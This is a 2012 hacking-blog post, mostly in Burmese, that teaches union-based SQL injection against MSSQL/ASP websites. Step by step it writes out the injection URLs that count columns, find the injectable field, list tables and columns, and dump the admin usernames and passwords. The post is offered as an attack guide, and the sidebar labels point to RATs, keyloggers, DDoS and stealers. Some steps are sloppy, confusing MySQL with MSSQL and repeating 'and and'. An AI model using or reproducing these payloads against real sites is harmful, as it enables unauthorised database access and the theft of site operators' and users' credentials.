Friday, July 20, 2012

MSSQL Injection

 

 

What is MSSQL?

အိုေခ ဒါဆို Attack လုပ္ပံုစလိုက္ၾကရေအာင္ ..ေရွ႕က Union Select Injection ကို ေရးျပီးသားျဖစ္လို႕ အရမ္းအေသးစိတ္ေတာ့ မရွင္းျပေတာ့ပါဘူး ။ ေရွ႕ ကဟာနားလည္ရင္ ဒီ တစ္ပုဒ္က အခက္အခဲေတာ ့ သိပ္ၾကီးမွာမဟုတ္ပါဘူး ။
1.Finding Vulnerability
2.Findng Number of Columns
3.Finding Vulnearble Column
4.Finding MySQL Version
5.Finding Tables in Database
6.Finding Columns
7.Displaying content
8.Cracking the hash
9.Finding Admin Page
1.Finding Vulnerabiltiy
www.site.com ဆိုပါစို႕
www.site.com/index.asp?id=1 ေပါ့ :-D
www.site.com/indexp.asp?id=’1 ဆိုရင္
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression ‘department_id=1024”.
/deptdet.asp, line 122
လို Error တက္လာပါလိမ့္မယ္ ။
2.Finding Number of Columns
ပံုမွန္အတိုင္းပဲ Column အေရအတြက္ ရွာပါမယ္ ။
www.site.com/index.asp?id=1 order by 1–
ဆိုျပီးေပါ့ ။
[error] Microsoft SQL Native Client error ’80040e14′
The ORDER BY position number 5 is out of range of the number of items in the select list.
/showthread.asp, line 9
[/error]
ဒီလို Error မတက္မခ်င္းပါ
www.site.com/index.asp?id=1 order by 11–
မွာ Error တက္တယ္ဆိုပါစို႕ 11 မဟုတ္တဲ့သာမန္ 1,2,3 ထဲမွာ တက္မွာမဟုတ္ပါဘူး ဒါဆို 11 ခုေပါ့ ။
3.Finding the vulneable column
www.site.com/index.asp?id=1 and 1=2 union select 11,22,33,44– ေပါ့
1=2 ဆိုတာ False ျဖစ္ျပီး Error ေပၚေအာင္ ထည့္တဲ့သေဘာပါ id=-1 ဆိုရင္လည္းရပါတယ္ ။ တျခား သေဘာတရားတစ္ခုကို ေျပာျပတဲ့အေနနဲ႕  အသစ္ေျပာင္းေပးတာပါ။
Mysql တုန္းကလိုပဲ Vuln ျဖစ္တဲ့ Column ေပၚပါ့မယ္ ။ 44 ဆိုပါစို႕
ဒါဆို 44 မွာ Mysql Command Execute လုပ္ႏုိင္ပါတယ္ ။
4.Finding MySQL Version
ေရွ႕ကလိုပါပဲ 44 မွာ @@version ဆိုတဲ့ COmmand ကို execute လုပ္ပါ့မယ္
www.site.com/index.asp?id=1 and 1=2 union select 11,22,33,@@version–
Version တက္မယ္ေပါ့ ။
5.Finding the Table Name
Myssql မွာ table_name from information_schema.tables– သံုးပါ့မယ္
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables– ေပါ့
ဒါဆို table name တစ္ခု တတ္လာပါလိမ့္မယ့္ ။
vuln ဆိုပါစို႕
ဒါေပမယ့္ ကၽြန္ေတာ္တုိ႕လိုခ်င္တဲ့ User တို႕ Admin တို႕လို Table မ်ိဳးမဟုတ္ပါဘူး ဒီေတာ့ ထပ္ျပီး Try ပါ့မယ္
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where table_name not in (‘vuln’)–
သေဘာကေတာ့ vuln မဟုတ္တဲ့ တျခား Table ေပါ့ ဒါဆို usr လိုဟာမ်ိဳးတက္လာျပီဆုိပါစို႕
6.Finding Column Name
usr Table တက္လာျပီဆိုတဲ့ အဲ့ဒီ့ Table ထဲကေန Column ထုတ္ပါ့မယ္ ။
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name=’usr’–
usr ထဲက Column တက္လာပါ့မယ္ Admin ဆိုပါစို႕
တျခား Admin မဟုတ္တဲ့ Password လို Column မ်ိဳးအလိုရွိေသးတဲ့အတြက္ အေပၚ က Table ခြဲတံုးကလိုပဲ ထပ္ Inject လုပ္ပါ့မယ္ ။
www.site.com/index.asp?id=1 and and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name=’usr’ and
column_name not in (‘Admin’)–
ဒီတေခါက္ Password ဆိုတဲ့ Column တက္လာျပီဆုိရင္ ကၽြန္ေတာ္တို႕ Data Inject လုပ္ဖို႕ပဲလိုပါေတာ့တယ္ ။
7.Displaying Content
ခုနက ကၽြန္ေတာ္တို႕မွာ Admin နဲ႕ Password ဆိုတဲ့ Column ႏွစ္ခုရထားပါျပီ ဒါဆုိ ဆက္ပါ့မယ္..
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,Admin from usr–
www.site.com/index.asp?id=1 and 1=2 UNION SELECT 11,22,33,Password from usr–
ဒါဆို Admin နဲ႕ Password တက္လာပါျပီ :-D
က်န္တဲ့ႏွစ္ဆင့္ကေတာ့ အမ်ားၾကီးဆက္ေျပာစရာမလိုေတာ့ မေျပာေတာ့ပါဘူး

posted by negative thunder
copy from ghostarea.net

ROCK FOREVER (MUSIC)

Pageviewers

CBOX

Manutd-Results

Label

Android (3) autorun (3) Backtrack (8) batch file (19) blogger (10) Botnet (2) browser (5) Brute Force (6) cafezee (2) cmd (5) Cookies (2) crack (12) Cracking (2) crypter (7) DDos (20) deepfreeze (4) defacing (1) defence (16) domain (4) Dos (9) downloader (4) ebomb (2) ebook (48) Exploit (26) firewall (3) game (2) gmail (11) google hack (16) Hacking Show (3) Hash (4) hosting (1) icon changer (1) ip adress (6) Keygen (1) keylogger (8) knowledge (67) locker (1) maintainence (8) network (17) news (31) other (35) passwoard viewer (7) password (12) Philosophy (6) Phishing (8) premium account (2) proxy (7) RAT (10) run commands (4) script (27) Shell code (10) shortcut Key (2) SMTP ports (1) social engineering (7) spammer (1) SQL Injection (30) Stealer.crack (5) tools (125) Tools Pack (4) tutorial (107) USB (3) virus (32) website (84) WiFi (4) word list (2)

Blogger templates

picoodle.com

Blogger news

HOW IS MY SITE?

Powered by Blogger.

Followers

About Me

My Photo
Hacking= intelligent+techonology+psychology